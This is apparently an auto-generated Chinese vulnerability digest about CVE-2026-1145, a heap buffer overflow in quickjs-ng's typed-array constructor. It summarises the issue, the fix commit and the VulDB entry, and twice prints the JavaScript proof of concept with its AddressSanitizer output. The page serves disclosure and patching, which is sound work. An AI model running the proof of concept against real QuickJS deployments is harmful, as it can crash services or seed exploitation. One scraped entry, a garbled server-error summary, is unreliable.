# QuickJS 快速数组构造堆溢出漏洞
## 概述
quickjs-ng quickjs 在版本 0.11.0 及之前存在一个漏洞,位于 `quickjs.c` 文件的 `js_typed_array_constructor_ta` 函数中,可导致基于堆的缓冲区溢出。
## 影响版本
quickjs-ng quickjs ≤ 0.11.0
## 细节
漏洞存在于 `quickjs.c` 的 `js_typed_array_constructor_ta` 函数中。攻击者通过远程操控该函数,触发堆缓冲区溢出。
## 影响
可远程利用,已存在公开漏洞利用。可能导致任意代码执行或服务崩溃等严重后果。建议应用补丁 53aebe66170d545bb6265906fe4324e4477de8b4 修复。
是否为 Web 类漏洞: 未知
判断理由:
| # | POC 描述 | 源链接 | 神龙链接 |
|---|
标题: Fix heap buffer overflow in js_typed_array_constructor_ta by saghul · Pull Request #1306 · quickjs-ng/quickjs · GitHub -- 🔗来源链接
标签:issue-tracking
神龙速读:
- **漏洞类型**: 堆缓冲区溢出
- **受影响的代码**: js_typed_array_constructor_ta
- **GitHub Issue编号**: #1306
- **修复提交**: 已合并到master分支, 提交哈希53aebe6
- **提交者**: saghul
- **审查者**: bnoordhuis
- **相关话题**:
- Fixes #1305
- **时间线**:
- 两周前提交修复
- 两周前审查通过
- 两周前成功合并到master分支
- **相关链接**:
- [堆缓冲区溢出在js_typed_array_constructor_ta中](error)
标题: Fix heap buffer overflow in js_typed_array_constructor_ta · paralin/quickjs@53aebe6 · GitHub -- 🔗来源链接
标签:patch
神龙速读:
从截图中可以获取到以下关于漏洞的关键信息:
- **漏洞类型**:堆缓冲区溢出(heap buffer overflow)。
- **修复commit**:
- **提交ID**:`53aebe6`
- **提交者**:saghul
- **提交时间**:2周前
- **修复的文件**:`quickjs.c`
- **修复的代码变更**:
- 在`quickjs.c`中添加了检查,当`len > p->u.array.count`时,抛出`JS_ThrowRangeError`异常并跳转到`fail`标签。
- **相关测试用例**:
- `tests/bug1305.js` 添加了一个测试用例,验证在`TypedArray`构造时是否会抛出`RangeError`。
- **修复的问题链接**:
- Fixes: [quickjs-ng#1305](link)
- **影响的版本及分支**:
- commit `53aebe6` 合并到 `master` 分支。
- 标签:`v0.11.0-wasi29-reactor-r9`, `v0.11.0-wasi29-reactor-r3`。
总结:
该commit修复了一个由于越界访问导致的堆缓冲区溢出漏洞,并添加了相应的代码检查和测试用例来确保修复效果。
标题: Heap buffer overflow in js_typed_array_constructor_ta · Issue #1305 · quickjs-ng/quickjs -- 🔗来源链接
标签:issue-tracking
神龙速读:
### 关键漏洞信息总结
- **漏洞类型**: 堆缓冲区溢出 (Heap buffer overflow)
- **受影响函数**: `js_typed_array_constructor_ta`
- **问题描述**:
- 在 `js_typed_array_constructor` 返回 `js_typed_array_constructor_ta` 时,如果参数 `p` 是一个类型化的数组,那么在执行 `memcpy` 操作时,`p->u.array.count` 在 `js_typed_array_constructor_ta` 调用期间可能由于 JavaScript 代码执行和数组缓冲区大小调整而变得不再稳定,从而导致缓冲区溢出或释放后使用。
- **PoC (概念验证代码)**:
```javascript
const rab = new ArrayBuffer(10, { maxByteLength: 10 });
const src = new Uint8Array(rab, 0);
function f() {
return 1337;
}
const EvilConstructor = new Proxy(function(){}, {
get: function(target, prop, receiver) {
if (prop === 'prototype') {
console.log("resizing");
rab.resize(0);
return Uint8Array.prototype;
}
return Reflect.get(target, prop, receiver);
}
});
let u8 = Reflect.construct(Uint8Array, [src], EvilConstructor);
console.log(u8);
```
- **检测结果**:
- 使用 AddressSanitizer (ASAN) 检测到堆缓冲区溢出:
```plaintext
==1358035==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200001651 at pc 0x70afe1cfb42e bp 0x7fffca4eaf70 sp 0x7fffca4eaf68
READ of size 10 at 0x50200001651 thread T0
```
- **修复情况**:
- 已经提交了修复 `js_typed_array_constructor_ta` 中的堆缓冲区溢出问题的补丁。
- 此问题已在相关的协调调整和代码贡献者之间得到了解决,具体参见相关提交记录和开发时间线。
标题: Heap buffer overflow in js_typed_array_constructor_ta · Issue #1305 · quickjs-ng/quickjs -- 🔗来源链接
标签:exploitissue-tracking
神龙速读:
### Key Information About Vulnerability from Screenshot
#### Vulnerability Details:
- **Type**: Heap buffer overflow in `js_typed_array_constructor_ta`
- **Issue Number**: #1305
- **Status**: Closed
#### Overview:
- **Description**: `js_typed_array_constructor` calls `js_typed_array_constructor_ta` with certain arguments. If `p` is a typed array, `p->u.array.count` remains stale, potentially leading to buffer overflow or use-after-free during a `memcpy` operation.
- **Similar Issue**: #1296
#### Proof of Concept (PoC):
```javascript
const rab = new ArrayBuffer(10, { maxByteLength: 10 });
const src = new Uint8Array(rab, 0);
function f() {
return 1337;
}
const EvilConstructor = new Proxy(function(){}, {
get: function(target, prop, receiver) {
if (prop === 'prototype') {
console.log("resizing");
rab.resize(0);
return Uint8Array.prototype;
}
return Reflect.get(target, prop, receiver);
}
});
let u8 = Reflect.construct(Uint8Array, [src], EvilConstructor);
console.log(u8);
```
#### ASAN Output:
```plaintext
==1358035==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001651 at pc 0x70afe1cfb42e bp 0x7fff5b354820 sp 0x7fff5b354818
READ of size 10 at 0x502000001651 thread T0
```
#### Reporter Credit:
- Vlad Ionut Seba (mcsky23)
#### Commits:
- **saghul**: Fixed heap buffer overflow in `js_typed_array_constructor_ta`. Closed the issue via #1306.
- **hramrach**: Added commits referencing this issue and cherry-picking various memory buffer handling fixes.
标题: vuldb.com -- 🔗来源链接
标签:signaturepermissions-required
神龙速读:
- **状态码**: HTTP 443
- **错误类型**: 通常表示服务器端问题,可能是服务不可用或网络问题
- **建议操作**: 如果问题持续,联系站点所有者
- **可能原因**:
- 服务器配置错误
- 服务未启动或崩溃
- 网络连接问题
标题: CVE-2026-1145 quickjs-ng quickjs quickjs.c js_typed_array_constructor_ta heap-based overflow (Issue 1305) -- 🔗来源链接
标签:vdb-entrytechnical-description
神龙速读:
- **Vulnerability ID**: CVE-2026-1145
- **Affected Product**: QUICKJS-NG and QUICKJS up to version 0.11.0
- **Vulnerable Function**: js_typed_array_constructor_ta in quickjs.c
- **Vulnerability Type**: Heap-based Overflow
- **CVSS Meta Temp Score**: 6.0
- **Exploit Price Range**: $0-$5k
- **CTI Interest Score**: 3.13
- **Summary**: Critical vulnerability identified in QUICKJS-NG and QUICKJS up to version 0.11.0. It affects the js_typed_array_constructor_ta function causing heap-based overflow and can be exploited remotely.
- **Advisory**: Available at GitHub
暂无评论